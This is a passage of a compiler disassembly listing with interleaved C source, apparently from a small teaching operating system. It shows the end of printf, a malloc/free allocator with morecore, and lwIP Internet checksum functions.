5da: e8 a1 fe ff ff call 480 <printint>
ap++;
5df: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
5e3: e9 ea 00 00 00 jmp 6d2 <printf+0x192>
} else if(c == 'x' || c == 'p'){
5e8: 83 7d f0 78 cmpl $0x78,0xfffffff0(%ebp)
5ec: 74 06 je 5f4 <printf+0xb4>
5ee: 83 7d f0 70 cmpl $0x70,0xfffffff0(%ebp)
5f2: 75 2d jne 621 <printf+0xe1>
printint(fd, *ap, 16, 0);
5f4: 8b 45 fc mov 0xfffffffc(%ebp),%eax
5f7: 8b 00 mov (%eax),%eax
5f9: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
600: 00
601: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
608: 00
609: 89 44 24 04 mov %eax,0x4(%esp)
60d: 8b 45 08 mov 0x8(%ebp),%eax
610: 89 04 24 mov %eax,(%esp)
613: e8 68 fe ff ff call 480 <printint>
ap++;
618: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
61c: e9 b1 00 00 00 jmp 6d2 <printf+0x192>
} else if(c == 's'){
621: 83 7d f0 73 cmpl $0x73,0xfffffff0(%ebp)
625: 75 43 jne 66a <printf+0x12a>
s = (char*)*ap;
627: 8b 45 fc mov 0xfffffffc(%ebp),%eax
62a: 8b 00 mov (%eax),%eax
62c: 89 45 ec mov %eax,0xffffffec(%ebp)
ap++;
62f: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
if(s == 0)
633: 83 7d ec 00 cmpl $0x0,0xffffffec(%ebp)
637: 75 25 jne 65e <printf+0x11e>
s = "(null)";
639: c7 45 ec f1 10 00 00 movl $0x10f1,0xffffffec(%ebp)
while(*s != 0){
640: eb 1c jmp 65e <printf+0x11e>
putc(fd, *s);
642: 8b 45 ec mov 0xffffffec(%ebp),%eax
645: 0f b6 00 movzbl (%eax),%eax
648: 0f be c0 movsbl %al,%eax
64b: 89 44 24 04 mov %eax,0x4(%esp)
64f: 8b 45 08 mov 0x8(%ebp),%eax
652: 89 04 24 mov %eax,(%esp)
655: e8 f6 fd ff ff call 450 <putc>
s++;
65a: 83 45 ec 01 addl $0x1,0xffffffec(%ebp)
65e: 8b 45 ec mov 0xffffffec(%ebp),%eax
661: 0f b6 00 movzbl (%eax),%eax
664: 84 c0 test %al,%al
666: 75 da jne 642 <printf+0x102>
668: eb 68 jmp 6d2 <printf+0x192>
}
} else if(c == 'c'){
66a: 83 7d f0 63 cmpl $0x63,0xfffffff0(%ebp)
66e: 75 1d jne 68d <printf+0x14d>
putc(fd, *ap);
670: 8b 45 fc mov 0xfffffffc(%ebp),%eax
673: 8b 00 mov (%eax),%eax
675: 0f be c0 movsbl %al,%eax
678: 89 44 24 04 mov %eax,0x4(%esp)
67c: 8b 45 08 mov 0x8(%ebp),%eax
67f: 89 04 24 mov %eax,(%esp)
682: e8 c9 fd ff ff call 450 <putc>
ap++;
687: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
68b: eb 45 jmp 6d2 <printf+0x192>
} else if(c == '%'){
68d: 83 7d f0 25 cmpl $0x25,0xfffffff0(%ebp)
691: 75 17 jne 6aa <printf+0x16a>
putc(fd, c);
693: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
696: 0f be c0 movsbl %al,%eax
699: 89 44 24 04 mov %eax,0x4(%esp)
69d: 8b 45 08 mov 0x8(%ebp),%eax
6a0: 89 04 24 mov %eax,(%esp)
6a3: e8 a8 fd ff ff call 450 <putc>
6a8: eb 28 jmp 6d2 <printf+0x192>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
6aa: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
6b1: 00
6b2: 8b 45 08 mov 0x8(%ebp),%eax
6b5: 89 04 24 mov %eax,(%esp)
6b8: e8 93 fd ff ff call 450 <putc>
putc(fd, c);
6bd: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
6c0: 0f be c0 movsbl %al,%eax
6c3: 89 44 24 04 mov %eax,0x4(%esp)
6c7: 8b 45 08 mov 0x8(%ebp),%eax
6ca: 89 04 24 mov %eax,(%esp)
6cd: e8 7e fd ff ff call 450 <putc>
}
state = 0;
6d2: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
6d9: 83 45 f4 01 addl $0x1,0xfffffff4(%ebp)
6dd: 8b 55 0c mov 0xc(%ebp),%edx
6e0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
6e3: 8d 04 02 lea (%edx,%eax,1),%eax
6e6: 0f b6 00 movzbl (%eax),%eax
6e9: 84 c0 test %al,%al
6eb: 0f 85 71 fe ff ff jne 562 <printf+0x22>
}
}
}
6f1: c9 leave
6f2: c3 ret
6f3: 90 nop
6f4: 90 nop
6f5: 90 nop
6f6: 90 nop
6f7: 90 nop
6f8: 90 nop
6f9: 90 nop
6fa: 90 nop
6fb: 90 nop
6fc: 90 nop
6fd: 90 nop
6fe: 90 nop
6ff: 90 nop
00000700 <free>:
static Header *freep;
void
free(void *ap)
{
700: 55 push %ebp
701: 89 e5 mov %esp,%ebp
703: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*) ap - 1;
706: 8b 45 08 mov 0x8(%ebp),%eax
709: 83 e8 08 sub $0x8,%eax
70c: 89 45 f8 mov %eax,0xfffffff8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
70f: a1 28 11 00 00 mov 0x1128,%eax
714: 89 45 fc mov %eax,0xfffffffc(%ebp)
717: eb 24 jmp 73d <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
719: 8b 45 fc mov 0xfffffffc(%ebp),%eax
71c: 8b 00 mov (%eax),%eax
71e: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
721: 77 12 ja 735 <free+0x35>
723: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
726: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
729: 77 24 ja 74f <free+0x4f>
72b: 8b 45 fc mov 0xfffffffc(%ebp),%eax
72e: 8b 00 mov (%eax),%eax
730: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax
733: 77 1a ja 74f <free+0x4f>
735: 8b 45 fc mov 0xfffffffc(%ebp),%eax
738: 8b 00 mov (%eax),%eax
73a: 89 45 fc mov %eax,0xfffffffc(%ebp)
73d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
740: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
743: 76 d4 jbe 719 <free+0x19>
745: 8b 45 fc mov 0xfffffffc(%ebp),%eax
748: 8b 00 mov (%eax),%eax
74a: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax
74d: 76 ca jbe 719 <free+0x19>
break;
if(bp + bp->s.size == p->s.ptr){
74f: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
752: 8b 40 04 mov 0x4(%eax),%eax
755: c1 e0 03 shl $0x3,%eax
758: 89 c2 mov %eax,%edx
75a: 03 55 f8 add 0xfffffff8(%ebp),%edx
75d: 8b 45 fc mov 0xfffffffc(%ebp),%eax
760: 8b 00 mov (%eax),%eax
762: 39 c2 cmp %eax,%edx
764: 75 24 jne 78a <free+0x8a>
bp->s.size += p->s.ptr->s.size;
766: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
769: 8b 50 04 mov 0x4(%eax),%edx
76c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
76f: 8b 00 mov (%eax),%eax
771: 8b 40 04 mov 0x4(%eax),%eax
774: 01 c2 add %eax,%edx
776: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
779: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
77c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
77f: 8b 00 mov (%eax),%eax
781: 8b 10 mov (%eax),%edx
783: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
786: 89 10 mov %edx,(%eax)
788: eb 0a jmp 794 <free+0x94>
} else
bp->s.ptr = p->s.ptr;
78a: 8b 45 fc mov 0xfffffffc(%ebp),%eax
78d: 8b 10 mov (%eax),%edx
78f: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
792: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
794: 8b 45 fc mov 0xfffffffc(%ebp),%eax
797: 8b 40 04 mov 0x4(%eax),%eax
79a: c1 e0 03 shl $0x3,%eax
79d: 03 45 fc add 0xfffffffc(%ebp),%eax
7a0: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax
7a3: 75 20 jne 7c5 <free+0xc5>
p->s.size += bp->s.size;
7a5: 8b 45 fc mov 0xfffffffc(%ebp),%eax
7a8: 8b 50 04 mov 0x4(%eax),%edx
7ab: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
7ae: 8b 40 04 mov 0x4(%eax),%eax
7b1: 01 c2 add %eax,%edx
7b3: 8b 45 fc mov 0xfffffffc(%ebp),%eax
7b6: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
7b9: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
7bc: 8b 10 mov (%eax),%edx
7be: 8b 45 fc mov 0xfffffffc(%ebp),%eax
7c1: 89 10 mov %edx,(%eax)
7c3: eb 08 jmp 7cd <free+0xcd>
} else
p->s.ptr = bp;
7c5: 8b 55 fc mov 0xfffffffc(%ebp),%edx
7c8: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
7cb: 89 02 mov %eax,(%edx)
freep = p;
7cd: 8b 45 fc mov 0xfffffffc(%ebp),%eax
7d0: a3 28 11 00 00 mov %eax,0x1128
}
7d5: c9 leave
7d6: c3 ret
7d7: 89 f6 mov %esi,%esi
7d9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
000007e0 <morecore>:
static Header*
morecore(uint nu)
{
7e0: 55 push %ebp
7e1: 89 e5 mov %esp,%ebp
7e3: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
int size;
#ifdef UMALLOC_DEBUG
printf(1, "morecore: %d\n", nu);
#endif
#ifdef UMALLOC_NOALIGN
if(nu < PAGE)
nu = PAGE;
#else
size = nu * sizeof(Header);
7e6: 8b 45 08 mov 0x8(%ebp),%eax
7e9: c1 e0 03 shl $0x3,%eax
7ec: 89 45 fc mov %eax,0xfffffffc(%ebp)
size += PAGE - size % PAGE;
7ef: 8b 55 fc mov 0xfffffffc(%ebp),%edx
7f2: 89 d0 mov %edx,%eax
7f4: c1 f8 1f sar $0x1f,%eax
7f7: 89 c1 mov %eax,%ecx
7f9: c1 e9 14 shr $0x14,%ecx
7fc: 8d 04 0a lea (%edx,%ecx,1),%eax
7ff: 25 ff 0f 00 00 and $0xfff,%eax
804: 29 c8 sub %ecx,%eax
806: 89 c2 mov %eax,%edx
808: b8 00 10 00 00 mov $0x1000,%eax
80d: 29 d0 sub %edx,%eax
80f: 01 45 fc add %eax,0xfffffffc(%ebp)
#endif
#ifdef UMALLOC_DEBUG
printf(1, "size: %d\n", size);
#endif
p = sbrk(size);
812: 8b 45 fc mov 0xfffffffc(%ebp),%eax
815: 89 04 24 mov %eax,(%esp)
818: e8 9f fb ff ff call 3bc <sbrk>
81d: 89 45 f4 mov %eax,0xfffffff4(%ebp)
if(p == (char*) -1)
820: 83 7d f4 ff cmpl $0xffffffff,0xfffffff4(%ebp)
824: 75 09 jne 82f <morecore+0x4f>
return 0;
826: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp)
82d: eb 2a jmp 859 <morecore+0x79>
hp = (Header*)p;
82f: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
832: 89 45 f8 mov %eax,0xfffffff8(%ebp)
#ifdef UMALLOC_NOALIGN
hp->s.size = nu;
#else
hp->s.size = size / sizeof(Header);
835: 8b 45 fc mov 0xfffffffc(%ebp),%eax
838: 89 c2 mov %eax,%edx
83a: c1 ea 03 shr $0x3,%edx
83d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
840: 89 50 04 mov %edx,0x4(%eax)
#endif
free((void*)(hp + 1));
843: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
846: 83 c0 08 add $0x8,%eax
849: 89 04 24 mov %eax,(%esp)
84c: e8 af fe ff ff call 700 <free>
return freep;
851: a1 28 11 00 00 mov 0x1128,%eax
856: 89 45 ec mov %eax,0xffffffec(%ebp)
859: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
85c: c9 leave
85d: c3 ret
85e: 89 f6 mov %esi,%esi
00000860 <malloc>:
void*
malloc(uint nbytes)
{
860: 55 push %ebp
861: 89 e5 mov %esp,%ebp
863: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
#ifdef UMALLOC_DEBUG
printf(1, "malloc: %d bytes\n", nbytes);
printf(1, "size of Header: %d\n", sizeof(Header));
#endif
if (PAGE % sizeof(Header))
printf(2, "Warning! align failed! Need UMALLOC_NOALIGN\n");
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
866: 8b 45 08 mov 0x8(%ebp),%eax
869: 83 c0 07 add $0x7,%eax
86c: c1 e8 03 shr $0x3,%eax
86f: 83 c0 01 add $0x1,%eax
872: 89 45 fc mov %eax,0xfffffffc(%ebp)
if((prevp = freep) == 0){
875: a1 28 11 00 00 mov 0x1128,%eax
87a: 89 45 f8 mov %eax,0xfffffff8(%ebp)
87d: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
881: 75 23 jne 8a6 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
883: c7 45 f8 20 11 00 00 movl $0x1120,0xfffffff8(%ebp)
88a: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
88d: a3 28 11 00 00 mov %eax,0x1128
892: a1 28 11 00 00 mov 0x1128,%eax
897: a3 20 11 00 00 mov %eax,0x1120
base.s.size = 0;
89c: c7 05 24 11 00 00 00 movl $0x0,0x1124
8a3: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
8a6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
8a9: 8b 00 mov (%eax),%eax
8ab: 89 45 f4 mov %eax,0xfffffff4(%ebp)
if(p->s.size >= nunits){
8ae: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
8b1: 8b 40 04 mov 0x4(%eax),%eax
8b4: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
8b7: 72 50 jb 909 <malloc+0xa9>
if(p->s.size == nunits)
8b9: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
8bc: 8b 40 04 mov 0x4(%eax),%eax
8bf: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
8c2: 75 0c jne 8d0 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
8c4: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
8c7: 8b 10 mov (%eax),%edx
8c9: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
8cc: 89 10 mov %edx,(%eax)
8ce: eb 26 jmp 8f6 <malloc+0x96>
else {
p->s.size -= nunits;
8d0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
8d3: 8b 40 04 mov 0x4(%eax),%eax
8d6: 89 c2 mov %eax,%edx
8d8: 2b 55 fc sub 0xfffffffc(%ebp),%edx
8db: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
8de: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
8e1: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
8e4: 8b 40 04 mov 0x4(%eax),%eax
8e7: c1 e0 03 shl $0x3,%eax
8ea: 01 45 f4 add %eax,0xfffffff4(%ebp)
p->s.size = nunits;
8ed: 8b 55 f4 mov 0xfffffff4(%ebp),%edx
8f0: 8b 45 fc mov 0xfffffffc(%ebp),%eax
8f3: 89 42 04 mov %eax,0x4(%edx)
}
freep = prevp;
8f6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
8f9: a3 28 11 00 00 mov %eax,0x1128
return (void*) (p + 1);
8fe: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
901: 83 c0 08 add $0x8,%eax
904: 89 45 ec mov %eax,0xffffffec(%ebp)
907: eb 3a jmp 943 <malloc+0xe3>
}
if(p == freep)
909: a1 28 11 00 00 mov 0x1128,%eax
90e: 39 45 f4 cmp %eax,0xfffffff4(%ebp)
911: 75 1d jne 930 <malloc+0xd0>
if((p = morecore(nunits)) == 0)
913: 8b 45 fc mov 0xfffffffc(%ebp),%eax
916: 89 04 24 mov %eax,(%esp)
919: e8 c2 fe ff ff call 7e0 <morecore>
91e: 89 45 f4 mov %eax,0xfffffff4(%ebp)
921: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp)
925: 75 09 jne 930 <malloc+0xd0>
return 0;
927: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp)
92e: eb 13 jmp 943 <malloc+0xe3>
930: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
933: 89 45 f8 mov %eax,0xfffffff8(%ebp)
936: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
939: 8b 00 mov (%eax),%eax
93b: 89 45 f4 mov %eax,0xfffffff4(%ebp)
}
93e: e9 6b ff ff ff jmp 8ae <malloc+0x4e>
943: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
946: c9 leave
947: c3 ret
948: 90 nop
949: 90 nop
94a: 90 nop
94b: 90 nop
94c: 90 nop
94d: 90 nop
94e: 90 nop
94f: 90 nop
00000950 <lwip_chksum>:
static u16_t
lwip_chksum(void *dataptr, int len)
{
950: 55 push %ebp
951: 89 e5 mov %esp,%ebp
953: 83 ec 18 sub $0x18,%esp
u32_t acc;
LWIP_DEBUGF(INET_DEBUG, ("lwip_chksum(%p, %d)\n", (void *)dataptr, len));
for(acc = 0; len > 1; len -= 2) {
956: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
95d: eb 19 jmp 978 <lwip_chksum+0x28>
/* acc = acc + *((u16_t *)dataptr)++;*/
acc += *(u16_t *)dataptr;
95f: 8b 45 08 mov 0x8(%ebp),%eax
962: 0f b7 00 movzwl (%eax),%eax
965: 0f b7 c0 movzwl %ax,%eax
968: 01 45 fc add %eax,0xfffffffc(%ebp)
dataptr = (void *)((u16_t *)dataptr + 1);
96b: 8b 45 08 mov 0x8(%ebp),%eax
96e: 83 c0 02 add $0x2,%eax
971: 89 45 08 mov %eax,0x8(%ebp)
974: 83 6d 0c 02 subl $0x2,0xc(%ebp)
978: 83 7d 0c 01 cmpl $0x1,0xc(%ebp)
97c: 7f e1 jg 95f <lwip_chksum+0xf>
}
/* add up any odd byte */
if (len == 1) {
97e: 83 7d 0c 01 cmpl $0x1,0xc(%ebp)
982: 75 1d jne 9a1 <lwip_chksum+0x51>
acc += htons((u16_t)((*(u8_t *)dataptr) & 0xff) << 8);
984: 8b 45 08 mov 0x8(%ebp),%eax
987: 0f b6 00 movzbl (%eax),%eax
98a: 0f b6 c0 movzbl %al,%eax
98d: c1 e0 08 shl $0x8,%eax
990: 0f b7 c0 movzwl %ax,%eax
993: 89 04 24 mov %eax,(%esp)
996: e8 85 06 00 00 call 1020 <htons>
99b: 0f b7 c0 movzwl %ax,%eax
99e: 01 45 fc add %eax,0xfffffffc(%ebp)
LWIP_DEBUGF(INET_DEBUG, ("inet: chksum: odd byte %d\n", (unsigned int)(*(u8_t *)dataptr)));
} else {
LWIP_DEBUGF(INET_DEBUG, ("inet: chksum: no odd byte\n"));
}
acc = (acc >> 16) + (acc & 0xffffUL);
9a1: 8b 45 fc mov 0xfffffffc(%ebp),%eax
9a4: 89 c2 mov %eax,%edx
9a6: c1 ea 10 shr $0x10,%edx
9a9: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
9ad: 8d 04 02 lea (%edx,%eax,1),%eax
9b0: 89 45 fc mov %eax,0xfffffffc(%ebp)
if ((acc & 0xffff0000) != 0) {
9b3: 8b 45 fc mov 0xfffffffc(%ebp),%eax
9b6: 66 b8 00 00 mov $0x0,%ax
9ba: 85 c0 test %eax,%eax
9bc: 74 12 je 9d0 <lwip_chksum+0x80>
acc = (acc >> 16) + (acc & 0xffffUL);
9be: 8b 45 fc mov 0xfffffffc(%ebp),%eax
9c1: 89 c2 mov %eax,%edx
9c3: c1 ea 10 shr $0x10,%edx
9c6: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
9ca: 8d 04 02 lea (%edx,%eax,1),%eax
9cd: 89 45 fc mov %eax,0xfffffffc(%ebp)
}
return (u16_t)acc;
9d0: 8b 45 fc mov 0xfffffffc(%ebp),%eax
9d3: 0f b7 c0 movzwl %ax,%eax
}
9d6: c9 leave
9d7: c3 ret
9d8: 90 nop
9d9: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
000009e0 <inet_chksum_pseudo>:
/* inet_chksum_pseudo:
*
* Calculates the pseudo Internet checksum used by TCP and UDP for a pbuf chain.
*/
u16_t
inet_chksum_pseudo(struct pbuf *p,
struct ip_addr *src, struct ip_addr *dest,
u8_t proto, u16_t proto_len)
{
9e0: 55 push %ebp
9e1: 89 e5 mov %esp,%ebp
9e3: 83 ec 28 sub $0x28,%esp
9e6: 8b 45 14 mov 0x14(%ebp),%eax
9e9: 8b 55 18 mov 0x18(%ebp),%edx
9ec: 88 45 ec mov %al,0xffffffec(%ebp)
9ef: 66 89 55 e8 mov %dx,0xffffffe8(%ebp)
u32_t acc;
struct pbuf *q;
u8_t swapped;
acc = 0;
9f3: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
swapped = 0;
9fa: c6 45 ff 00 movb $0x0,0xffffffff(%ebp)
/* iterate through all pbuf in chain */
for(q = p; q != NULL; q = q->next) {
9fe: 8b 45 08 mov 0x8(%ebp),%eax
a01: 89 45 f8 mov %eax,0xfffffff8(%ebp)
a04: eb 7b jmp a81 <inet_chksum_pseudo+0xa1>
LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): checksumming pbuf %p (has next %p) \n",
(void *)q, (void *)q->next));
acc += lwip_chksum(q->payload, q->len);
a06: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a09: 0f b7 40 0a movzwl 0xa(%eax),%eax
a0d: 0f b7 d0 movzwl %ax,%edx
a10: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a13: 8b 40 04 mov 0x4(%eax),%eax
a16: 89 54 24 04 mov %edx,0x4(%esp)
a1a: 89 04 24 mov %eax,(%esp)
a1d: e8 2e ff ff ff call 950 <lwip_chksum>
a22: 0f b7 c0 movzwl %ax,%eax
a25: 01 45 f4 add %eax,0xfffffff4(%ebp)
/*LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): unwrapped lwip_chksum()=%lx \n", acc));*/
while (acc >> 16) {
a28: eb 10 jmp a3a <inet_chksum_pseudo+0x5a>
acc = (acc & 0xffffUL) + (acc >> 16);
a2a: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx
a2e: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
a31: c1 e8 10 shr $0x10,%eax
a34: 8d 04 02 lea (%edx,%eax,1),%eax
a37: 89 45 f4 mov %eax,0xfffffff4(%ebp)
a3a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
a3d: c1 e8 10 shr $0x10,%eax
a40: 85 c0 test %eax,%eax
a42: 75 e6 jne a2a <inet_chksum_pseudo+0x4a>
}
if (q->len % 2 != 0) {
a44: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a47: 0f b7 40 0a movzwl 0xa(%eax),%eax
a4b: 0f b7 c0 movzwl %ax,%eax
a4e: 83 e0 01 and $0x1,%eax
a51: 84 c0 test %al,%al
a53: 74 24 je a79 <inet_chksum_pseudo+0x99>
swapped = 1 - swapped;
a55: b8 01 00 00 00 mov $0x1,%eax
a5a: 2a 45 ff sub 0xffffffff(%ebp),%al
a5d: 88 45 ff mov %al,0xffffffff(%ebp)
acc = ((acc & 0xff) << 8) | ((acc & 0xff00UL) >> 8);
a60: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax
a64: 89 c2 mov %eax,%edx
a66: c1 e2 08 shl $0x8,%edx
a69: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
a6c: 25 00 ff 00 00 and $0xff00,%eax
a71: c1 e8 08 shr $0x8,%eax
a74: 09 d0 or %edx,%eax
a76: 89 45 f4 mov %eax,0xfffffff4(%ebp)
a79: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a7c: 8b 00 mov (%eax),%eax
a7e: 89 45 f8 mov %eax,0xfffffff8(%ebp)
a81: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
a85: 0f 85 7b ff ff ff jne a06 <inet_chksum_pseudo+0x26>
}
/*LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): wrapped lwip_chksum()=%lx \n", acc));*/
}
if (swapped) {
a8b: 80 7d ff 00 cmpb $0x0,0xffffffff(%ebp)
a8f: 74 19 je aaa <inet_chksum_pseudo+0xca>
acc = ((acc & 0xff) << 8) | ((acc & 0xff00UL) >> 8);
a91: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax
a95: 89 c2 mov %eax,%edx
a97: c1 e2 08 shl $0x8,%edx
a9a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
a9d: 25 00 ff 00 00 and $0xff00,%eax
aa2: c1 e8 08 shr $0x8,%eax
aa5: 09 d0 or %edx,%eax
aa7: 89 45 f4 mov %eax,0xfffffff4(%ebp)
}
acc += (src->addr & 0xffffUL);
aaa: 8b 45 0c mov 0xc(%ebp),%eax
aad: 8b 00 mov (%eax),%eax
aaf: 25 ff ff 00 00 and $0xffff,%eax
ab4: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += ((src->addr >> 16) & 0xffffUL);
ab7: 8b 45 0c mov 0xc(%ebp),%eax
aba: 8b 00 mov (%eax),%eax
abc: c1 e8 10 shr $0x10,%eax
abf: 25 ff ff 00 00 and $0xffff,%eax
ac4: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += (dest->addr & 0xffffUL);
ac7: 8b 45 10 mov 0x10(%ebp),%eax
aca: 8b 00 mov (%eax),%eax
acc: 25 ff ff 00 00 and $0xffff,%eax
ad1: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += ((dest->addr >> 16) & 0xffffUL);
ad4: 8b 45 10 mov 0x10(%ebp),%eax
ad7: 8b 00 mov (%eax),%eax
ad9: c1 e8 10 shr $0x10,%eax
adc: 25 ff ff 00 00 and $0xffff,%eax
ae1: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += (u32_t)htons((u16_t)proto);
ae4: 0f b6 45 ec movzbl 0xffffffec(%ebp),%eax
ae8: 89 04 24 mov %eax,(%esp)
aeb: e8 30 05 00 00 call 1020 <htons>
af0: 0f b7 c0 movzwl %ax,%eax
af3: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += (u32_t)htons(proto_len);
af6: 0f b7 45 e8 movzwl 0xffffffe8(%ebp),%eax
afa: 89 04 24 mov %eax,(%esp)
afd: e8 1e 05 00 00 call 1020 <htons>
b02: 0f b7 c0 movzwl %ax,%eax
b05: 01 45 f4 add %eax,0xfffffff4(%ebp)
while (acc >> 16) {
b08: eb 10 jmp b1a <inet_chksum_pseudo+0x13a>
acc = (acc & 0xffffUL) + (acc >> 16);
b0a: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx
b0e: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
b11: c1 e8 10 shr $0x10,%eax
b14: 8d 04 02 lea (%edx,%eax,1),%eax
b17: 89 45 f4 mov %eax,0xfffffff4(%ebp)
b1a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
b1d: c1 e8 10 shr $0x10,%eax
b20: 85 c0 test %eax,%eax
b22: 75 e6 jne b0a <inet_chksum_pseudo+0x12a>
}
LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): pbuf chain lwip_chksum()=%lx\n", acc));
return ~(acc & 0xffffUL);
b24: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
b27: f7 d0 not %eax
b29: 0f b7 c0 movzwl %ax,%eax
}
b2c: c9 leave
b2d: c3 ret
b2e: 89 f6 mov %esi,%esi
00000b30 <inet_chksum>:
/* inet_chksum:
*
* Calculates the Internet checksum over a portion of memory. Used primarely for IP
* and ICMP.
*/
u16_t
inet_chksum(void *dataptr, u16_t len)
{
b30: 55 push %ebp
b31: 89 e5 mov %esp,%ebp
b33: 83 ec 28 sub $0x28,%esp
b36: 8b 45 0c mov 0xc(%ebp),%eax
b39: 66 89 45 ec mov %ax,0xffffffec(%ebp)
u32_t acc;
acc = lwip_chksum(dataptr, len);
b3d: 0f b7 45 ec movzwl 0xffffffec(%ebp),%eax
b41: 89 44 24 04 mov %eax,0x4(%esp)
b45: 8b 45 08 mov 0x8(%ebp),%eax
b48: 89 04 24 mov %eax,(%esp)
b4b: e8 00 fe ff ff call 950 <lwip_chksum>
b50: 0f b7 c0 movzwl %ax,%eax
b53: 89 45 fc mov %eax,0xfffffffc(%ebp)
while (acc >> 16) {
b56: eb 10 jmp b68 <inet_chksum+0x38>
acc = (acc & 0xffff) + (acc >> 16);
b58: 0f b7 55 fc movzwl 0xfffffffc(%ebp),%edx
b5c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
b5f: c1 e8 10 shr $0x10,%eax
b62: 8d 04 02 lea (%edx,%eax,1),%eax
b65: 89 45 fc mov %eax,0xfffffffc(%ebp)
b68: 8b 45 fc mov 0xfffffffc(%ebp),%eax
b6b: c1 e8 10 shr $0x10,%eax
b6e: 85 c0 test %eax,%eax
b70: 75 e6 jne b58 <inet_chksum+0x28>
}
return ~(acc & 0xffff);
